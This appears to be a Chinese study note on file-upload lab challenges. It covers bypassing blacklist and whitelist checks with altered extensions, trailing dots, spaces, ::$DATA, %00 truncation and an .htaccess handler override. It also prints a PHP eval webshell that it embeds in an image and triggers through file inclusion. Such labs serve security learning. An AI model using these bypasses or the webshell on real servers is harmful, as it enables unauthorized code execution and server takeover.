Web-File2

文件上传

Pass-03(黑名单绕过)

trim函数 如果有空格,就把空格删除

这道题黑名单中有php,将文件后缀改为php5或phtml即可绕过

Pass-04(黑名单绕过 .htaccess攻击)。。。

上传.htaccess文件

1
2
3
<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>

文件名包含shana的会被当做php执行

可以把php文件命名为jpg文件,绕过黑名单,在网页访问该文件时,该文件会以php执行

Pass-05(黑名单绕过 后缀双写逻辑绕过)

查看源码,黑名单有大小写,但是没有所有的大小写组合,并且后缀名会转为小写,用双写绕过

后缀名改为.phpphp,上传成功

Pass-06(黑名单绕过 大小写文件名混淆)

查看源码,黑名单有大小写,但是没有所有的大小写组合,并且后缀名不会统一转为小写,将文件后缀改成PHp(黑名单中没有),上传成功

Pass-07(黑名单绕过 空格绕过)。。。

查看源码,发现跟之前源码相比,少了首位去空,抓包,在文件名最后加个空格,再forward,就上传成功

Pass-08(黑名单绕过 填点绕过)。。。

查看源码,发现没有删除文件名末尾的点,抓包,在后面加个.,绕过

Pass-09(黑名单绕过 Win文件流特性绕过)

查看源码,没有去除字符串::$DATA,抓包,在最后加上::$DATA,上传成功

Pass-10(黑名单绕过 点空格点代码逻辑绕过)。。。

抓包,将文件名后缀改为.php. .

首先去除空格,删除最后一个.

然后后缀名为.php.,绕过过滤,上传成功

Pass-11(黑名单绕过 双写绕过)

有一次过滤,将后缀名改为.pphphp,过滤完后缀名为.php,上传成功

Pass-12(白名单绕过 00截断GET型绕过)

这段代码是防止多个点绕过

1
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

白名单加防止多点绕过,需要用到%00截断,%00是在地址方面,0x00截断是在文件命名方面

例如文件名为1.php

只能上传.jpg后缀文件,代码将文件命名为 1.php.19283018.jpg,使其为一个jpg文件

如果加上%00截断,1.php%00.19283018.jpg,%00之后的就没有了,为1.php

抓包,在第一行的参数save_path=../upload/改为save_path=../upload/1.php%00,php版本换为5.2

第21天 1:32:03

Pass-13(白名单绕过 00截断POST型绕过)

跟Pass-12类似,抓包,找到../upload的位置,写成../upload/xx.php%00

但是这个%00需要编码,选中%00,右键

image

Pass-14(图片马+文件包含绕过)。。。

在图片中写入后门代码

php后门代码,将这个代码附加在图片后面

1
<?php @eval($_POST['x']);?>

在cmd中运行copy 1.png /b + a.php /a webshell.jpg,得到webshell.jpg,可以看到图像最后加上了这一行php代码

image

获取上传的图片地址,右键图片,复制图像链接

http://192.168.182.1/upload/upload/8920230926111805.png

点击题目中给的文件包含漏洞链接,加上参数,进行访问

image

再用post传参,x=phpinfo();,可以执行php代码

文件上传之后端黑白名单绕过

黑名单:明确不让上传的格式后缀

白名单:明确可以上传的格式后缀

如果黑名单中有PHP,可以用PHP5或Phtml来绕过限制

enctype:文件上传的类型

method:上传方式

onsubmit:鼠标触发事件

image

看下面的代码,PHP中接受文件的参数名要与HTML表单中的一致,以name的值发送过去,name的值是upload_file,所以上面也是upload_file

1
2
3
4
5
$_FILES['myFile']['name'] 客户端文件的原名称。 
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)
1
2
3
4
5
6
7
8
9
10
<?php
$name=$_FILES['upload_file']['name']; #接收文件上传
echo $name
?>

<form enctypt="multipart/form-data" method="post">
<p>请选择要上传的图片:</p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>

.htaccess,用apach才行

.htaccess是apach的一个配置文件,将.htaccess文件上传成功后,其余文件会依照.htaccess的执行

.htaccess示例

将这个文件上传成功后,再上传文件名中包含shana的文件,就会被当作x-httpd-php来执行

注意shana文件要和上传的.htaccess文件在同一目录

1
2
3
<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>

有的代码是一次过滤,有的是循环过滤

比如说,a.phphp,一次过滤之后为a.php

循环过滤(递归过滤) 过滤后为a.